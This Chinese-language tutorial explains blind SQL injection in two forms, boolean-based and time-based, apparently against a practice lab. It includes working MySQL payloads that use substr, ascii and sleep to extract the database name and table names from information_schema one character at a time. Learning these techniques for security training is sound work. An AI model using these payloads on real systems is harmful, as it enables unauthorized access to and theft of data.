

Sql-Inject漏洞-盲注

- 什么是盲注以及常见的盲注类型
- 基于boolean(true or false)的盲注测试
- 基于time的盲注测试

什么是盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错此时无法在根据报错信息来进行注入的判断。

这种情况下的注入,称为"盲注"

根据表现形式的不同,盲注又分为based boolean和based time两种类型

什么是盲注-based boolean

基于boolean的盲注主要表现症状:

- 0.没有报错信息
- 1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
- 2.在正确的输入下,输入and 1=1/and 1=2发现可以判断

先通过mysql演示一个知识:

Select database(); //得到数据库名称

Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。

Select ascii(substr(database(),1,1)); 将截取出来的字符,转换成acsii码,以便于后面做运算。

Select ascii(substr(database(),1,1))>97; //结果会为1或者0,也就是true or false

想到什么了吗?

上面的知识要引申出来的一个逻辑是:

既然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果。

这么说,好像盲注下,想要获取点岂不是灰常麻烦?是的。就是很麻烦。 所以,一般盲注,会使用工具(比如SQL-map,我后面会讲到)去测试。

如何确认需要遍历的结果一共有多少个字符呢?

```
可以首先使用length()函数做一个确认:通过一个比较,搞出长度。
Id=1' and length((select database()))>x;
mysql> select length((select database()))>7;
length((select database()))>7 |
1 row in set (0.00 sec)
mysql> select length((select database()))>8;
length((select database()))>8 |
1 row in set (0.00 sec)
```

Test Payload:

kobe' and ascii(substr(database(),1,1))>97#

输出: 用户不存在

kobe' and ascii(substr(database(),1,1))=97#

输出: kobe的信息

因此,可以判断database()的第一个字符为a!

获取表信息的Test Payload:

```
ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) >100#
```

获取其他信息的思路一样,这里就留个大家下去自己测试了!

什么是盲注-based time

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!

但还有一个条件,就是"时间",通过特定的输入,判断后台执行的时间,从而确认注入!

常用的Teat Payload: kobe' and sleep(5)#

看看输入: kobe 和输入kobe 'and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞



什么是盲注-based time-手动测试

mysql中if的用法:

if (条件, true返回, false返回)

获取基础信息test payload:

kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)#

思路解释:

通过substr对database()的结果截取第一位,然后判断是否等于X,如果等于则为真,然后执行sleep(5),如果不等于则为假,则null, 然后通过sleep的现象来确认,依次类推,遍历出所有的值。

当然基于time的盲注要手动测试获取结果,也是很麻烦的,所以大家只需要搞清楚原理。 具体的使用SQL-map跑就可以。

什么是盲注-based time-手动测试

获取表信息test payload:

```
kobe' and if( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),null )#
```

谢谢

"听"而不思则罔,思而不"练"则殆